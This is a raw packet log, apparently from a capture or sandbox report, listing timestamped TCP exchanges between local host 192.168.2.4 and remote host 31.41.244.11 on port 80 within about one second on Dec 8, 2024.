Dec 8, 2024 18:06:12.303699017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.304483891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.304527998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.304594994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.304636002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.305397987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.305442095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.305484056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.305526972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.306294918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.306344986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.306493044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.306534052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.307219982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.307264090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.307372093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.307415009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.308111906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.308156967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.308214903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.308257103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.309031963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.309075117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.309109926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.309154987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.309923887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.309967041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.310281038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.310327053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.310837984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.310878038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.310935974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.310978889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.311745882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.311805010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.311827898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.311965942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.312755108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.312799931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.312858105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.312907934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.313544989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.313590050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.313657999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.313704014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.314460039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.314502954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.314564943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.314609051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.315387011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.315426111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.315494061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.315537930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.316272020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.316314936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.316406965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.316450119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.317202091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.317245007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.317327023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.317368031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.318128109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.318166971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.318196058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.318238020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.319024086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.319067955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.319070101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.319113970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.320008039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.320044041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.320116997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.320156097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.320842981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.320884943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.320970058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.321011066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.321742058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.321788073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.321839094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.321897984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.322648048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.322689056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.322746038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.322784901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.323533058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.323574066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.468466997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.468523026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.468622923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.468677044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.468852043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.468900919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.468981981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.469031096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.469759941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.469810963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.469845057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.469995975 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.470659018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.470710993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.470767021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.470861912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.471636057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.471683025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.471712112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.471791983 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.472569942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.472620010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.472690105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.472728014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.473403931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.473450899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.473531008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.473592997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.474272013 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.474337101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.474409103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.474451065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.475189924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.475236893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.475337029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.475377083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.476099968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.476150036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.476206064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.476322889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.477047920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.477098942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.477128983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.477173090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.477936983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.477988005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.478061914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.478100061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.478847027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.478893042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.478975058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.479020119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.479739904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.479779005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.479835033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.479895115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.480648994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.480691910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.480762959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.480798006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.481565952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.481606960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.481642008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.481709003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.482484102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.482542038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.482584953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.482630968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.483366966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.483459949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.483484983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.483520985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.484277964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.484344959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.484381914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.484441042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.485892057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.485943079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.487126112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.487169027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.488711119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.488723040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.488734961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.488748074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.488756895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.488770008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.488806009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.488902092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.488914967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.488951921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.490017891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.490063906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.490170002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.490277052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.490830898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.490873098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.490998983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.491050005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.491636038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.491713047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.491790056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.491836071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.492451906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.492496967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.492724895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.492772102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.493489027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.493537903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.493653059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.493696928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.494417906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.494430065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.494466066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.495331049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.495388985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.495492935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.495776892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.496248007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.496294022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.496422052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.496531963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.497214079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.497226000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.497261047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.497853041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.497869015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.497910023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.498768091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.498811007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.498928070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.498970985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.499891043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.499907970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.499953032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.500710964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.500730038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.500754118 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.500767946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.501665115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.501686096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.501705885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.501718998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.502592087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.502613068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.502645016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.502659082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.503401995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.503448963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.503540993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.503586054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.504308939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.504357100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.504515886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.504554987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.505635023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.505700111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.505801916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.505846024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.506108999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.506155968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.506258965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.506303072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.507056952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.507100105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.507251978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.507288933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.508172989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.508183956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.508217096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.508234024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.508902073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.508949041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.509047031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.509079933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.509835958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.509886026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.510304928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.510355949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.510777950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.510788918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.510823011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.510833979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.511655092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.511698008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.511816978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.511862040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.512552023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.512568951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.512579918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.512593031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.512598038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.512604952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.512629032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.513333082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.513386011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.513441086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.513598919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.514285088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.514337063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.514414072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.514511108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.515177965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.515222073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.515351057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.515402079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.516007900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.516055107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.660603046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.660917044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.660979033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.661019087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.661029100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.661056042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.661130905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.661734104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.661782980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.661814928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.662657022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.662703991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.662776947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.663551092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.663599968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.663682938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.663727045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.664422989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.664535999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.664581060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.665378094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.665507078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.665549040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.666296959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.666383028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.666425943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.667192936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.667324066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.667363882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.668082952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.668128014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.668224096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.668993950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.669035912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.669095993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.669965029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.670010090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.670097113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.670135975 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.670836926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.670948029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.671008110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.671720028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.671799898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.671840906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.672616959 CET	80	49765	31.41.244.11	192.168.2.4
